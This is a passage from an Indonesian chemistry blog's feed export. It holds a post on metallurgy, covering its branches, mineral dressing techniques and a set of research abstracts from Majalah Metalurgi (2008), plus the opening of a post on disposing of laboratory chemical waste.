/&gt;Berdasar kedekatan antara metalurgi dengan pertambangan inilah maka pada awalnya pendidikan metalurgi lahir dari sekolah-sekolah pertambangan seperti pendidikan metalurgi di Colorado School of Mines.&lt;br /&gt;Pendidikan metalurgi&lt;br /&gt;&lt;br /&gt;Pada saat ini pendidikan metalurgi sudah sedemkian luas sehingga beberapa perguruan tinggi mengkhususkan penekanan pada cabang-cabang ilmu metalurgi.&lt;br /&gt;• Cabang pengolahan mineral dan metalurgi ekstraksi biasanya sangat ditekankan pada pendidikan metalurgi di jurusan Teknik Pertambangan.&lt;br /&gt;• Cabang metalurgi mekanik biasanya sangat ditekankan pada pendidikan metalurgi di jurusan Teknik Mesin dan Teknik Industri.&lt;br /&gt;• Cabang metalurgi fisik biasanya diajarkan secara merata di berbagai perguruan tinggi sebagai fundamen dari ilmu logam.&lt;br /&gt;Perkembangan persoalan ilmiah dan teknis saat ini yang memerlukan pemecahan multidisiplin mengharuskan adanya pertemuan antara berbagai disiplin ilmu yang berbeda. Dalam hal ini seorang metalurgis (ilmuwan dan pekerja metalurgi) berada di tengah-tengah pertemuan ilmu-ilmu tersebut. Metalurgi beririsan dengan beberapa aspek ilmu kimia, teknik kimia, fisika, teknik fisika, teknik mesin, pertambangan, lingkungan, dll.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Mineral dressing&lt;/span&gt;&lt;br /&gt;Mineral dressing adalah pengolahan mineral secara fisik. Tujuan dari mineral dressing adalah meningkatkan kadar logam berharga dengan cara membuang bagian-bagian dari bijih yang tidak diinginkan. Secara umum, setelah proses mineral dressing akan dihasilkan tiga kategori produk.&lt;br /&gt;1. Konsentrat, dimana logam-logam berharga terkumpul dan dengan demikian kadarnya menjadi tinggi.&lt;br /&gt;2. Tailing, dimana bahan-bahan tidak berharga (bahan ikutan, gangue mineral) terkumpul.&lt;br /&gt;3. Middling, yang merupakan bahan pertengahan antara konsentrat dan tailing.&lt;br /&gt;Teknik mineral dressing bermacam-macam. Pengaplikasiannya sangat tergantung pada jenis bijih atau mineral yang akan ditingkatkan konsentrasinya. Pemilihan teknik didasarkan pada perbedaan sifat-sifat fisik dari mineral-mineral yang ada dalam bijih tersebut. Teknik-teknik yang digunakan dalam proses mineral dressing di antaranya adalah:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Konsentrasi gravitasi&lt;/span&gt;&lt;br /&gt;Teknik ini memanfaatkan perbedaan berat jenis antara mineral-mineral. Mineral-mineral dipisahkan dengan peralatan yang berprinsip pada pemisahan berat jenis seperti jigging, rake classifier, spiral classifier, vibrating table, dll.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Flotasi&lt;/span&gt;&lt;br /&gt;Teknik ini memanfaatkan perbedaan sifat permukaan mineral-mineral. Dengan menambahkan reagen kimia yang bisa membuat permukaan salah satu mineral menjadi hidrofil sementara bagian reagen itu sendiri memiliki sifat hidrofob, maka mineral bersangkutan dapat diangkat oleh gelembung yang ditiupkan ke permukaan untuk dipisahkan. Biasnya mineral-mineral sulfida dipisahkan dengan cara ini.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Magnetic Separation&lt;/span&gt;&lt;br /&gt;Cara ini memanfaatkan sifat magnet dari mineral-mineral. Mineral yang bersifat feromagnetik dipisahkan dari mineral yang bersifat diamagnetik.&lt;br /&gt;Dan teknik-teknik lainnya, seperti electric separator, dll.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Metalurgi ekstraktif&lt;/span&gt;&lt;br /&gt;Pada bagian mineral dressing, konsentrat yang mengandung logam berharga dipisahkan dari pengotor (gangue mineral) yang menyertainya. Sedangkan ilmu extractive metallurgy adalah untuk memisahkan logam berharga dalam konsentrat dari material lain.&lt;br /&gt;Metalugi Fisik adalah pengetahuan-pengetahuan mengenai fisika dari logam-logam dan paduan-paduan umpamanya tentang sifat-sifat mekanik, sifat-sifat teknologi serta pengubahan-pengubahan sifat-sifat tersebut yang umumnya menyangkut segi-segi pengembangan atau development, pada penggunaan dan pengolahan atau teknologi logam-logam dan paduan-paduan.&lt;br /&gt;&lt;br /&gt;Majalah Metalurgi Volume 23, No. 2, Desember 2008&lt;br /&gt;&lt;br /&gt;PERCOBAAN PEMBUATAN BARIUM KARBONAT DENGAN MENGGUNAKAN BAHAN BAKU UTAMA MINERAL BARIT&lt;br /&gt;F. Firdiyono&lt;br /&gt;Pusat Penelitian Metalurgi-LIPI, Kawasan PUSPIPTEK Serpong&lt;br /&gt;INTISARI&lt;br /&gt;Telah dilakukan percobaan pembuatan barium karbonat pada skala laboratorium dengan menggunakan bahan baku utama mineral barit yang berasal dari daerah Cikondang, Tasikmalaya. Pembuatan barium karbonat merupakan langkah dan produkta awal untuk membuat kimia barium dari mineral barit. Hasil percobaan memperlihatkan bahwa barit alam berkualitas rendahpun masih dapat digunakan sebagai bahan baku pembuatan kimia barium. Beberapa langkah utama yang dilakukan dalam proses ini adalah: Pemanggangan reduksi yang dilakukan dengan reduktor batubara, pelarutan dengan media air, dan pengendapan barium karbonat dengan menggunakan soda abu. Barium karbonat yang diperoleh mengandung 97,7% BaCO3 dan 2,3% SrCO3 dengan total recovery 87,2%. Produk kimia barium seperti barium titanat, barium sulfat, barium khlorida dan lain-lainnya akan mudah diperoleh dengan mereaksikan barium karbonat dengan bahan kimia yang sesuai.&lt;br /&gt;Kata kunci : Mineral barit, Barium karbonat, Soda abu, Barium titanat, Piezoelectric, Barium sulfat, Barium khlorida, Blanc fixe, Witherit, Sanbornit&lt;br /&gt;ABSTRAK&lt;br /&gt;Barite from Cikondang, Tasikmalaya was used as a raw material for making barium carbonate in the laboratory scale. As a first step, barium carbonate had to be made from natural barite, then several compounds of barium chemistry could be made by using barium carbonate as their raw material. The experimental result shows that low grade ore also can be used as a raw material to produce barium carbonate. There were three main processes used: Reduction roasting which low grade coal was used as reduction agent, then fresh water was used as leaching media and soda ash was used as precipitating agent. Barium Carbonate produced consist of 97.7% BaCO3 and 2.3% SrCO3. Total recovery will be around 87.2%. Barium titanate, barium sulfat, and barium chloride could be produced by reacting the barium carbonat with suitable chemical.&lt;br /&gt;————————————————————————————-&lt;br /&gt;PENGARUH TEMPERATUR TERHADAP DENSITAS DAN POROSITAS KOMPOSIT Al2O3/Al PRODUK DIRECTED METAL OXIDATION&lt;br /&gt;G.N. Anastasia Sahari1,2), Anne Zulfia1) dan Eddy S. Siradj1)&lt;br /&gt;1) Dept. Metalurgi dan Material FT. Universitas Indonesia&lt;br /&gt;2) Jurusan Mesin FT. UKIP Makassar&lt;br /&gt;tashya_sahari@yahoo.com&lt;br /&gt;INTISARI&lt;br /&gt;Penelitian ini bertujuan untuk mengamati pengaruh dari temperatur terhadap densitas dan porositas komposit matriks keramik Al2O3/Al hasil produk Directed metal oxidation. Sampel komposit dibuat dengan cara menempatkan ingot Al dibawah serbuk alumina dan 8% wt Mg dalam tray, kemudian disinter dengan temperatur 1100,1200 dan 1300oC dengan waktu tahan 24 jam dan selanjutnya didinginkan sampai temperatur kamar dalam dapur. Hasil penelitian menunjukkan semakin tinggi temperatur sinter, infiltrasi Al akan semakin besar dan densitas maksimum yang dicapai sebesar 3,51 gr/cm3 pada temperatur 1100oC dan porositas minimum adalah 3,6% juga pada temperatur 1100oC.&lt;br /&gt;Kata kunci : Temperatur, Al2O3-Al, Dimox, Infiltrasi, densitas, porositas&lt;br /&gt;ABSTRACT&lt;br /&gt;This Research aims to observe the effect of temperature on density and porosity of ceramic matrix composites Al2O3/Al as the product of Dimox. Composites sample is made by placing Al ingot under alumina and 8% wt magnesium powders in a tray, then heated through 1100, 1200 and 1300oC on 24 hours holding time, then cooled to room temperature in furnace. The result show that with higher sinter temperature, Al infiltration will be increased and max density is 3,51 gr/cm3 and min porosity is 3,6% at 1100oC.&lt;br /&gt;Key Words: temperature, Al2O3-Al, Dimox, infiltration, density, porosity&lt;br /&gt;————————————————————————————-&lt;br /&gt;PENGARUH TEMPERATUR AUSTEMPER TERHADAP PERUBAHAN STRUKTUR MIKRO DAN KEKERASAN BESI COR NODULER FERITIK&lt;br /&gt;Bintang Adjiantoro&lt;br /&gt;Puslit Metalurgi – LIPI, Kawasan PUSPIPTEK - Serpong, Tangerang&lt;br /&gt;ABSTRAK&lt;br /&gt;Proses austempering dilakukan pada besi cor noduler feritik dengan memvariasikan suhu temper mulai dari 250oC, 300oC dan 400oC pada waktu penahanan 2 jam. Hasil percobaan diperoleh struktur acicular ferite atau bainit. Semakin rendah suhu austemper, semakin halus ukuran struktur bainit dengan kerapatannya yang tinggi. Nilai kekuatan dan kekerasan dari struktur bainit ini semakin tinggi yang diikuti dengan tingkat kegetasan yang semakin tinggi pula. Sebaliknya semakin tinggi suhu austemper, Nilai kekuatan dan kekerasan dari struktur bainit ini semakin rendah namun keuletannya cenderung meningkat.&lt;br /&gt;Kata kunci : Besi cor noduler, Austempering Ductile Iron (ADI), Acicular ferite, Struktur Bainit,&lt;br /&gt;ABSTRACT&lt;br /&gt;Austempering process done at feritik noduler cast iron with temperature variation of tempering from 250oC, 300oC and 400oC when holding time of 2 hour. Result of experiment is obtained structures acicular ferite or bainite. Increasingly low temperature austemper, increasingly smooth bainite structures with its high density. Strength value and hardness from this bainite structures excelsior followed with level of brittleness which excelsior also. On the contrary temperature excelsior austemper, Strength value and hardness from this bainite structures increasingly low but its ductility tends to increase.&lt;br /&gt;Key words : Noduler cast iron, Austempering Ductile Iron (ADI), Acicular ferite, Bainite structure,&lt;br /&gt;————————————————————————————-&lt;br /&gt;PEMBUATAN BESI NUGGET DARI PASIR BESI DAN BIJIH BESI LATERIT:&lt;br /&gt;Tantangan dan Kemungkinan Keberhasilannya&lt;br /&gt;Yusuf dan Edi Herianto&lt;br /&gt;Pusat Penelitian Metalurgi LIPI,Komplek PUSPIPTEK, Cisauk, Tangerang&lt;br /&gt;INTISARI&lt;br /&gt;Cadangan bijih besi Indonesia yang didominasi oleh bijih besi laterit dan pasir besi membutuhkan pendekatan proses yang tepat. Proses pembuatan besi nugget dengan teknologi ITMk3 yang menggunakan pereduksi batubara memiliki berbagai kelebihan yang layak dipertimbangkan. Teknologi berbasis RHF yang dikembangkan oleh Midrex dan Kobe Steel ini telah siap dipakai untuk bijih besi konvensional, tetapi masih menyisakan tantangan menarik untuk dapat diterapkan pada bijih besi laterit dan pasir besi. Ada 4 cara untuk mengatasi masalah yang mungkin timbul, yaitu : (1) pembentuk terak encer, (2) penggunaan jumlah pereduksi sub stoikiometrik, (3) penggerusan halus, dan (4) reduksi dua tahap. Perlu dilakukan penelitian mendasar untuk memungkinkan pemanfaatan bijih besi dalam negeri sebagai penopang industri besi baja nasional&lt;br /&gt;Kata kunci : bijih laterit, pasir besi, besi-nugget, batubara, RHF.&lt;br /&gt;ABSTRACT&lt;br /&gt;Indonesian iron ore reserves dominated by lateritic ore and titanium rich beach sand require an appropriate processing technology. Iron nugget production technology ITMk3 which use ordinary coal as reductant has many advantages to be considered. As an RHF base technology developed by Midrex and Kobe Steel, ITMk3 will be ready for commercialization for a conventional iron ore, but not too easy to be adapted for the laterite ore and beach sand iron concentrate. There are four possibility to solve the coming problems: (1) flux addition to produce high fluidity slag, (2) the use of sub stoichiometric reductant, (3) finer grinding, and (4) two stages heating or reduction. It will be advisable to conduct a thorough fumdamental research to facilitate the utilization of Indonesian domestic iron ore to support national iron and steel industries.&lt;br /&gt;Keywords : lateritic ore, ironsand, iron nugget, coal, RHF&lt;br /&gt;————————————————————————————-&lt;br /&gt;ANALISA TEGANGAN VESSEL YANG MENGALAMI DEFORMASI AKIBAT LEDAKAN&lt;br /&gt;M. N. Setia Nusa&lt;br /&gt;Peneliti Bidang Kajian Material, Balai Besar Teknologi Kekuatan dan Struktur – BPP Teknologi&lt;br /&gt;Telp. 021-7560562 ext. 1069 e-mail: setia_nusa@yahoo.com&lt;br /&gt;INTISARI&lt;br /&gt;Analisa kerusakan dilakukan pada sebuah Vesel yang mengalami deformasi saat dilakukan Turn Around (TA) pada awal tahun 2001. Deformasi tersebut diakibatkan oleh ledakan yang terjadi di dalam vesel sehingga mendorong buffle yang mengakibatkan tertariknya shell vesel.&lt;br /&gt;Untuk itu diperlukan beberapa pertimbangan dan perhitungan diantaranya dilakukan analisis dengan perhitungan tegangan untuk melihat efek dari ledakan dan deformasi yang terjadi pada material tersebut serta pengujian kekerasan dan identifikasi material dengan uji komposisi kimia.&lt;br /&gt;Dari hasil perhitungan dan analisis, vesel tersebut tidak aman digunakan untuk 2 (dua) tahun mendatang karena pertimbangan dan perhitungan laju korosinya sedangkan material sesuai dengan spesifikasinya serta kekerasan yang relarif masih normal sesuai standard .&lt;br /&gt;Untuk itu diperlukan repair pada dinding shell dengan beberapa alternatif pemotongan plat yang terdeformasi dengan pemotongan satu sisi, pemotongan dua sisi ataupun dengan penambahan penguat menyilang ataupun melintang.&lt;br /&gt;Kata kunci : Vessel, ledakan, deformasi, analisisi tegangan, repair.&lt;br /&gt;ABSTRACT&lt;br /&gt;Failure analysis has been done on a vessel that experiencing deformation when it was turned around (TA) in the beginning of 2001. The deformation was caused by explosion inside the vessel so that the buffle was pushed and consequently the vessel shell was pulled.&lt;br /&gt;Many consideration and calculation are needed. Analysis was conducted using stress calculation to see explosion and deformation effect on these material as well as hardness test and material identification using chemical composition test.&lt;br /&gt;From the result of calculation and analysis, these vessel are not safe for 2 (two) years ahead based on consideration and corrosion rate calculation. These material are suitable with the specification and the hardness values are relatively normal according an the standard.&lt;br /&gt;Repair on shell walls are needed with some alternative plate cut. There are one –side , two-side cut or addition of gross reinforcement or horizontal reinforcement.&lt;br /&gt;Keyword: Vessel, explosion, deformation , stress analysis, repair.&lt;br /&gt;————————————————————————————-&lt;br /&gt;PELEBURAN BIJIH NIKEL LATERIT MENGGUNAKAN BLAST FURNACE : PELAJARAN DARI CHINA&lt;br /&gt;Edi Herianto&lt;br /&gt;Pusat Penelitian Metalurgi LIPI, Komplek PUSPIPTEK, Cisauk, Tangerang&lt;br /&gt;INTI SARI&lt;br /&gt;Kebutuhan logam nikel dibelahan dunia ini terus meningkat seiring dengan semakin majunya peradapan manusia. Kebutuhan logam nikel baik sebagai logam paduan maupun logam murni saat ini banyak diperlukan diiringi juga dengan harga yang terus meningkat. Logam nikel banyak digunakan mulai dari konstruksi, transfortasi, komunikasi sampai keperalatan perang. Maka selayaknyalah Indonesia membuat pabrik pengolahan bijih nikel yang praktis dan sederhana, karena Indonesia memiliki cadangan bijih nikel yang berlimpah yang konon katanya berdasarkan data sebagai nomor tiga terbesar dunia.Salah satu teknologi yang sederhana adalah menggunakan teknologi yang konvensional yaitu menggunakan balst furnace seperti yang dilakukan di China. Nikel laterit yang berupa fine sebelum diumpankan kedalam blast furnace terlebih dahulu di buat sinter, dengan memanfaatkan gas buang dari balst furnace itu sendiri. Sehingga dengan teknologi yang konvensional ini pengolahan nikel laterit lebih sederhana dan effisien.&lt;br /&gt;Kata kunci : Bijih nikel laterit, blast furnace, china, sinter, pig Fe-Ni&lt;br /&gt;ABSTRACT&lt;br /&gt;The requirement of nickel metal in the hemisphere raised continuously in accordance to man kind civilization. The requirement of nickel metal, either metal alloys or pure metal, nor they are mostly needed according to rise in prices. The nickel metal is used from construction, transportation, communication until weapon equipment. So in Indonesia, it must be done the simple processing plant for nickel ore, because Indonesia has abundant resources nickel ore. Based on data, the resources of nickel ore in Indonesia is 3 rd of the world. The simple technology is conventional, by using blast furnace, like in china. Before the fine lateritic nickel ore feeded in blast furnace, they have been done the firstly sinter, using waste gas from blast furnace. So by using conventional technology, the processing of lateritic nickel ore more simple and efficient.&lt;br /&gt;————————————————————————————-&lt;br /&gt;SYNTHESIS OF NEW AUSTENITIC MATERIAL BY POWDER METALLURGY METHOD&lt;br /&gt;Nurdin Effendi1, A. K. Jahja1, Yuswono2and Saefudin2&lt;br /&gt;1) Nuclear Industrial Material Technology Center-BATAN, PUSPIPTEK, Cisauk, Tangerang&lt;br /&gt;2) Research Center for Metallurgy, PUSPIPTEK, Cisauk, Tangerang&lt;br /&gt;INTISARI&lt;br /&gt;Telah dilakukan pembuatan bahan austenitik baru yang dinamakan dengan A-1 sebagai bahan studi untuk penukar panas reaktor daya. Pembuatan bahan paduan ini dilakukan dengan teknik metalurgi serbuk. Komponen unsur-unsur paduannya adalah Fe, Ni, Cr, Si, Mn, C, dan Ti. Masing-masing komponen bahan ditentukan persen beratnya dan ditimbang. Campuran unsur-unsur tersebut diaduk dengan ball milling selama 46 jam. Masing-masing sampel awal yang dibuat berupa pelet bermassa 25 gram, diperoleh dengan kompaksi menggunakan die berukuran diameter dalam 2,5 cm, dengan tekanan kompaksi 8000 psi. Setelah diberi perlakuan presinter pada 1150 oC selama 48 jam, sampel disinter pada temperatur sekitar 1250 oC selama 2 jam dan setelah waktu penyinteran mencapai 2 jam sampel diberi perlakuan deformasi plastis seperti ditempa dan atau diroll diteruskan dengan homogenisasi pada 1250 oC selama sehari. Pengamatan struktur mikro dengan mikroskop optik menunjukkan bahwa bentuk butir fasa berbenuk pecahan segi empat atau segi lima. Pola difraksi diperiksa dengan difraktometer sinar-X dan hasilnya menunjukkan bahwa struktur kristalnya adalah fcc, sesuai dengan tipe fasa austenitik, dengan parameter kisi sekitar 3,61 Å. Hasil uji kekerasan dengan metoda Brinell menunjukkan bahwa bilangan kekerasan Brinell rata-ratanya berada dalam kisaran 200. Dari nilai-nilai kekerasan Brinell yang berada diatas nilai rata-rata kekerasan dari bahan SS-321 dan SS-347 dalam kelompok bahan grade clas of three (nonhardenable), maka bahan austenitik baru ini diharapkan sebagai bahan alternatif yang memiliki sifat mekanik dan ketahanan korosi yang lebih baik.&lt;br /&gt;Kata kunci : pembuatan, material baru, austenit, metallurgi serbuk.&lt;br /&gt;ABSTRACT&lt;br /&gt;The synthesis of a new austenitic alloy, named A-1, has been carried out as a studies material for a power-reactor heat exchanger. Powder metallurgy method was utilized in the alloys´ synthesis. The alloys elemental components are Fe, Ni, Cr, Si, Mn, C and Ti. Each of the alloying component was first determined in terms of weight-percentages, before actual weighing on the microbalance apparatus. The components were blended together in a special purpose ball-mill for 46 hours. The first samples are in the form of pellets of twenty five grams each, obtained by compaction process using a die with a 2.5 cm internal diameter, at a pressure of 8000 psi. After presinterred at 1150 oC for 48 hours, sintering was carried out at 1250 ºC for 2 hours and then the material underwent plastic deformation as well as forged and rolled and then homogenized at 1250 ºC for one day. The microstructure observation shows that the phase grains form quadrangel or pentagon fraction. The diffraction pattern is observed by X-ray diffractometer, and the result shows that the sample has an fcc crystal structure, which complies with the austenite phase type, and the lattice parameter is around of 3,61 Å. The average Brinell hardness number is in around of 200 - 225. Considering that the measured density values and the Brinell hardness values are in the above of values observed in SS-321 and SS-347 in grade class of three (nonhardenable) materials, it is expected that this new austenite as an alternative samples would has better mechanical properties and corrosion resistance.&lt;br /&gt;————————————————————————————-&lt;br /&gt;PENGARUH SUHU PEMANASAN TERHADAP SENSITASI PADA BAJA STAINLESS STEEL 304&lt;br /&gt;Saefudin, Yuswono, I Nyoman Gede P.A&lt;br /&gt;Pusat Penelitian Metalurgi, Gedung 470 ,Kawasan PUSPIPTEK Serpong&lt;br /&gt;INTISARI&lt;br /&gt;Penggunaan material baja austenit stainless steel 304 dengan kandungan 18%Cr, 8%Ni, adalah karena sifat ketahanannya terhadap serangan korosi baik pada suhu tinggi maupun suhu rendah. Material ini banyak digunakan untuk konstruksi di lingkungan fluida korosif, seperti tangki wadah dalam ukuran tonase, pipa pengalir, dan heat exchanger. Sifat ketahanan korosi austenit stainless steek bisa menurun, karena mengalami sensitasi, yaitu pembentukan senyawa khrom karbida di datas butir, yang mengakibatkan serangan korosi di batas butir (intergranular corrosion). Namun demikian tipe 304 ini banyak diminati para konsumen, karena harganya lebih murah dari pada tipe 316L. Dalam penelitian ini dilakukan percobaan untuk mengendalikan adanya sensitasi terhadap stainless steel tipe 304, melalui variasi pemanasan spesimen pada suhu 600oC s.d. 1200oC dengan pendinginan cepat (media air) dan pendinginan lambat (media di dalam tungku serta udara). Hasil percobaan ditunjukkan bahwa pencelupan spesimen di media air setalah dilakukan pemanasan pada suhu tersebut, presipitasi senyawa karbida di batas butir dapat dikendalikan. Pemanasan spesimen pada suhu lebih rendah (600oC dan 800oC), presipitasi karbida dapat dikendalikan dengan kecepatan pendinginan relatif rendah, yaitu pendinginan di media udara. Pendinginan spesimen dengan kecepatan pendinginan lambat (di dalam tungku), sensitasi berlangsung.&lt;br /&gt;Kata kunci : Baja tahan karat austenitik, heat treatment, sensitisasi, batas butir, presipitasi karbida, korosi&lt;br /&gt;ABSTRACT&lt;br /&gt;The use of Material austenitic stainless steel 304 with 18%Cr, 8%Ni content is due to their corrosion resistant properties either at low or high temperatures environment. The austenitic stainless steel 304 is used for construction in the fluid of corrosive environment, such as tank for tonnage scale in weight, pipe line, and heat exchanger. Decreasing the corrosion resistant properties of austenitic stainless steel is caused sensitation, such as the formation of chrome carbide compound along the grain boundaries. That will cause corrosion attack in the grain boundary (intergranular corrosion). In this case a lot of consumer use this stainless steel product by reason that is their price are cheaper if comparing with another type (316L). In this experiment, by heating of specimens at temperature in the range 600oC up to 1200oC is attempt to control the existing of sensitasion in the stainless steel 304 with treatment for either high cooling rate (water quenching) or low cooling rate by use of air media and furnace cooling. Experiment result has shown that precipitation of carbide compound can be controlled by use of cooling media, i.e. water quench, air media, and furnace cooling after heating at that temperature. Heating specimen at low temperature 600oC, precipitation of carbide is not exist at low cooling rate in air media. But heating specimen at high temperature 800oC up to 1200oC, precipitation of carbide does not existing at high cooling rate in water quench.&lt;br /&gt;————————————————————————————-&lt;br /&gt;MIKROGRAFI SEKITAR SAMBUNGAN LAS BAJA ASSAB CORRAX&lt;br /&gt;Parikin dan A.H. Ismoyo&lt;br /&gt;Pusat Teknologi Bahan Industri Nuklir-BATAN, Kawasan PUSPIPTEK, Serpong Tangerang, BANTEN&lt;br /&gt;Telpon : 0231-75874788, E-mail : farihin@batan.go.id&lt;br /&gt;INTISARI&lt;br /&gt;Pengamatan strukturmikro baja Assab Corrax pada daerah heat affected zone telah dilakukan. Studi ini dilakukan dalam rangka mencari bahan yang tahan pada operasi suhu tinggi. Kombinasi perlakuan temperatur dan canai dimaksudkan untuk mengetahui efek mechano-thermo treatments terhadap bahan. Preparasi bahan dimulai dari cutting, mounting, grinding, polishing dan kemudian dietsa dengan menggunakan 2% Nital. Pengamatan strukturmikro dilakukan dengan menggunakan mikroskop optik, dengan pembesaran hingga 500x. Hasil memperlihatkan bahwa strukturmikro permukaan bahan adalah bainit (acicular ferit) dan panas lasan mempengaruhi proses transformasi acicular ferit (struktur sederhana) ke allotriomorphic ferit (struktur takberaturan, segi banyak). Presipitat CrxIy (I=Ni,Al) pada bahan baja assab corrax merupakan unsur jenuh dan tumbuh dipengaruhi pemberian temperatur selama proses pencanaian.&lt;br /&gt;ABSTRAK&lt;br /&gt;Microstructure investigation has been carried out on the heat-affected zone in Assab Corrax steel. The main objective of this preliminary research is to obtain materials which are suitable for high temperature operations. To achieve this objective, a combination of heat-treatment and rolling process were conducted, in order to understand the effect of thermo-mechanical treatments to the properties of HAZ/weldment become apparent. Sample preparation was followed by etching in a solution of 2% Nital. Microstructures investigation was carried out by using an optical microscope with magnification of up to 500x. The micrographs show microstructures consisting of a simple structure of bainite (acicular ferrite). The transformation process from acicular to allotriomorphic ferrite (irregular structure, polygon) was affected by the welding heat. Precipitation of CrxIy (I=Ni,Al) in Assab Corrax steel was influenced by the variation of temperature during rolling process. Pelantikan Pejabat Baru Puslit Metalurgi LIPI&lt;br /&gt;Kelompok Keahlian Teknik Metalurgi adalah bidang ilmu yang menggunakan prinsip-prinsip keilmuan fisika, matematika dan kimia serta proses enjiniring untuk menjelaskan secara terperinci dan mendalam fenomena-fenomena proses pengolahan mineral (termasuk pengolahan batubara), proses ekstraksi logam dan pembuatan paduan, hubungan perilaku sifat mekanik logam dengan strukturnya, fenomena-fenomena proses penguatan logam serta fenomena-fenomena kegagalan dan degradasi logam. Ketiga ilmu dasar sains digunakan dalam mengembangkan tiga sektor dasar dalam Body of Knowledge Metalurgi yang meliputi Metalurgi Kimia, Metalurgi Fisika dan Enjiniring Proses.&lt;br /&gt;Lingkup bidang metalurgi ini sedemikian luas, dimulai dari pengolahan bahan galian, ekstraksi logam dan pemurniannya, pembentukan dan perlakuan panas logam, teknologi perancangan dan pengoperasian sistem-sistem metalurgi hingga fenomena kegagalan struktur logam akibat beban mekanik dan degradasi logam akibat berinteraksi dengan lingkungannya termasuk pengendaliannya, serta teknologi daur ulang. Oleh karena itu dalam pengembangannya di Institut Teknologi Bandung, bidang keilmuan metalurgi ini dikembangkan bersama-sama oleh dua Departemen yaitu oleh Kelompok Keahlian Teknik Metalurgi pada Departemen Teknik Pertambangan (dari Pengolahan Mineral Logam dan Industri termasuk Pengolahan Batubara, Metalurgi Fisika sampai dengan Teknologi Daur Ulang dan Meknisme dan Teknologi Proteksi Korosi) dan oleh Program Studi Teknik Material pada Departemen Teknik Mesin (mulai dari Metalurgi Fisika sampai dengan Metalurgi Mekanik dan Pembentukan Logam serta bidang-bidang terkait).&lt;br /&gt;  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-7688738286319658314?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/7688738286319658314/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/metalurgi.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/7688738286319658314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/7688738286319658314'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/metalurgi.html' title='Metalurgi'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lylI1wyyUFQ/S3afmYvCl4I/AAAAAAAAAOo/3Uu-ZkyGkWI/s72-c/247078.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-5218510990363409654</id><published>2010-02-11T07:18:00.000-08:00</published><updated>2010-02-11T07:33:35.953-08:00</updated><title type='text'>Pembuangan dan Penanganan Bahan Kimia Tumpahan di Laboratorium</title><content type='html'>Laboratorium yang baik adalah laboratorium yang tidak hanya memperhatikan masalah ketelitian analisa saja. Akan tetapi laboratorium yang baik juga harus memperhatikan masalah pembuangan limbah. Limbah yang dibuang sembarangan, jika masuk ke badan air tanah dan mengalir ke pemukiman penduduk akan menimbulkan bahaya. Terutama logam-logam berat. Jika tidak ditangani dengan baik dapat membahayakan makhluk hidup dan merusak lingkungan&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hmmm… spontanitas pingin mosting tulisan yang berisikan Gimana Sih Seharusnya Cara Kita Waktu Membuang Atau Mengatasi Bahan2 Atau Limbah Kimia Waktu Di Lab, karna dari yang udah kebanyakan sya liat di kehidupan sehari2 waktu di lab, ternyata masih banyak kekeliruan dalam menangani hal tersebut dan alhasil jadi Muuaaantttappp tuh kondisi labnya alias jadi tak sedap dipandang…   ya mudah2an saja tulisan ini tidak membosankan dan semoga bermanfaat dan dapat menjadi pengingat atau pembelajaran kembali mengenai hal tersebut di atas…&lt;/span&gt;&lt;br /&gt;Laboratorium yang baik adalah laboratorium yang tidak hanya memperhatikan masalah ketelitian analisa saja. Akan tetapi laboratorium yang baik juga harus memperhatikan masalah pembuangan limbah. Limbah yang dibuang sembarangan, jika masuk ke badan air tanah dan mengalir ke pemukiman penduduk akan menimbulkan bahaya. Terutama logam-logam berat. Jika tidak ditangani dengan baik dapat membahayakan makhluk hidup dan merusak lingkungan.&lt;br /&gt;Pembuangan Limbah&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;Secara umum, metoda pembuangan limbah laboratorium terbagi atas empat metoda.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;Pertama&lt;/span&gt;, pembuangan langsung dari laboratorium. Metoda pembuangan langsung ini dapat diterapkan untuk bahan-bahan kimia yang dapat larut dalam air. Bahan-bahan kimia yang dapat larut dala air dibuang langsung melalui bak pembuangan limbah laboratorium. Untuk bahan kimia sisa yang mengandung asam atau basa harus dilakukan penetralan, selanjutnya baru bisa dibuang. Untuk bahan kimia sisa yang mengandung logam-logam berat dan beracun seperti Pb, Hg, Cd, dan sebagainya, endapannya harus dipisahkan terlebih dahulu. Kemudian cairannya dinetralkan dan dibuang.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;Kedua&lt;/span&gt;, dengan pembakaran terbuka. Metoda pembakaran terbuka dapat dterapkan untuk bahan-bahan organik yang kadar racunnya rendah dan tidak terlalu berbahaya. Bahan-bahan organik tersebut dibakar ditempat yang aman dan jauh dari pemukiman penduduk.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 